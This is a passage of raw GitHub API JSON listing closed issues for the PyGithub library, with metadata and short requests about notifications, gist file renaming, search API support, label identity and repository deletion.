sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"implementation of Notification API #108"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/156","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/156/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/156/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/156/events","html_url":"https://github.com/jacquev6/PyGithub/issues/156","id":12867103,"number":156,"title":"renaming files in a gist","user":{"login":"jasonwiener","id":204083,"avatar_url":"https://secure.gravatar.com/avatar/fed498e65aec4199029994d4feab4fb1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"fed498e65aec4199029994d4feab4fb1","url":"https://api.github.com/users/jasonwiener","html_url":"https://github.com/jasonwiener","followers_url":"https://api.github.com/users/jasonwiener/followers","following_url":"https://api.github.com/users/jasonwiener/following{/other_user}","gists_url":"https://api.github.com/users/jasonwiener/gists{/gist_id}","starred_url":"https://api.github.com/users/jasonwiener/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jasonwiener/subscriptions","organizations_url":"https://api.github.com/users/jasonwiener/orgs","repos_url":"https://api.github.com/users/jasonwiener/repos","events_url":"https://api.github.com/users/jasonwiener/events{/privacy}","received_events_url":"https://api.github.com/users/jasonwiener/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/24","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/24/labels","id":298677,"number":24,"title":"Version 1.14.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":3,"state":"closed","created_at":"2013-03-28T19:15:29Z","updated_at":"2013-04-22T21:03:59Z","due_on":null},"comments":3,"created_at":"2013-04-05T22:37:41Z","updated_at":"2013-04-08T19:15:29Z","closed_at":"2013-04-08T19:15:29Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"looking at the InputFileContent class, it doesn't appear to support renaming a file in a gist. am i mistaken?"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/49","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/49/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/49/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/49/events","html_url":"https://github.com/jacquev6/PyGithub/issues/49","id":5191621,"number":49,"title":"Support new Search API","user":{"login":"kukuts","id":1831238,"avatar_url":"https://secure.gravatar.com/avatar/9be6ba907be1740213b69422fdf52b57?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"9be6ba907be1740213b69422fdf52b57","url":"https://api.github.com/users/kukuts","html_url":"https://github.com/kukuts","followers_url":"https://api.github.com/users/kukuts/followers","following_url":"https://api.github.com/users/kukuts/following{/other_user}","gists_url":"https://api.github.com/users/kukuts/gists{/gist_id}","starred_url":"https://api.github.com/users/kukuts/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kukuts/subscriptions","organizations_url":"https://api.github.com/users/kukuts/orgs","repos_url":"https://api.github.com/users/kukuts/repos","events_url":"https://api.github.com/users/kukuts/events{/privacy}","received_events_url":"https://api.github.com/users/kukuts/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/6","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/6/labels","id":136827,"number":6,"title":"Version 1.2","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":4,"state":"closed","created_at":"2012-06-25T19:31:02Z","updated_at":"2012-06-29T18:47:43Z","due_on":"2012-07-01T07:00:00Z"},"comments":4,"created_at":"2012-06-21T12:27:38Z","updated_at":"2012-06-29T18:47:28Z","closed_at":"2012-06-29T18:47:28Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"New API ported from v2 but i have trouble with adopting ask's library for v2 API to support v3 style for searching. \nhttp://developer.github.com/v3/search/\n\nIts not described in the page about parameters that search for repos API supports.\nThey are same as in v2 API, you can look them in ask's library.\nIn v2 was like that https://github.com/api/v2/json/repos/search/testing?start_page=2&language=Python\nIn v3 is https://api.github.com/legacy/repos/search/testing?start_page=2&language=Python"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/50","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/50/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/50/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/50/events","html_url":"https://github.com/jacquev6/PyGithub/issues/50","id":5256315,"number":50,"title":"[Issue] Replace label _identity with name","user":{"login":"philipkimmey","id":211079,"avatar_url":"https://secure.gravatar.com/avatar/decc9323f241b6dd24ec35ef7cabaf75?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"decc9323f241b6dd24ec35ef7cabaf75","url":"https://api.github.com/users/philipkimmey","html_url":"https://github.com/philipkimmey","followers_url":"https://api.github.com/users/philipkimmey/followers","following_url":"https://api.github.com/users/philipkimmey/following{/other_user}","gists_url":"https://api.github.com/users/philipkimmey/gists{/gist_id}","starred_url":"https://api.github.com/users/philipkimmey/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/philipkimmey/subscriptions","organizations_url":"https://api.github.com/users/philipkimmey/orgs","repos_url":"https://api.github.com/users/philipkimmey/repos","events_url":"https://api.github.com/users/philipkimmey/events{/privacy}","received_events_url":"https://api.github.com/users/philipkimmey/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/6","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/6/labels","id":136827,"number":6,"title":"Version 1.2","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":4,"state":"closed","created_at":"2012-06-25T19:31:02Z","updated_at":"2012-06-29T18:47:43Z","due_on":"2012-07-01T07:00:00Z"},"comments":4,"created_at":"2012-06-25T18:45:05Z","updated_at":"2012-06-28T20:10:44Z","closed_at":"2012-06-28T20:10:44Z","pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/50","diff_url":"https://github.com/jacquev6/PyGithub/pull/50.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/50.patch"},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":null},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/60","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/60/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/60/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/60/events","html_url":"https://github.com/jacquev6/PyGithub/issues/60","id":6363719,"number":60,"title":"delete repo","user":{"login":"pmchen","id":671751,"avatar_url":"https://secure.gravatar.com/avatar/a0f9638840c6e593ecddc966e6d01241?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"a0f9638840c6e593ecddc966e6d01241","url":"https://api.github.com/users/pmchen","html_url":"https://github.com/pmchen","followers_url":"https://api.github.com/users/pmchen/followers","following_url":"https://api.github.com/users/pmchen/following{/other_user}","gists_url":"https://api.github.com/users/pmchen/gists{/gist_id}","starred_url":"https://api.github.com/users/pmchen/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pmchen/subscriptions","organizations_url":"https://api.github.com/users/pmchen/orgs","repos_url":"https://api.github.com/users/pmchen/repos","events_url":"https://api.github.com/users/pmchen/events{/privacy}","received_events_url":"https://api.github.com/users/pmchen/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/9","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/9/labels","id":164586,"number":9,"title":"Version 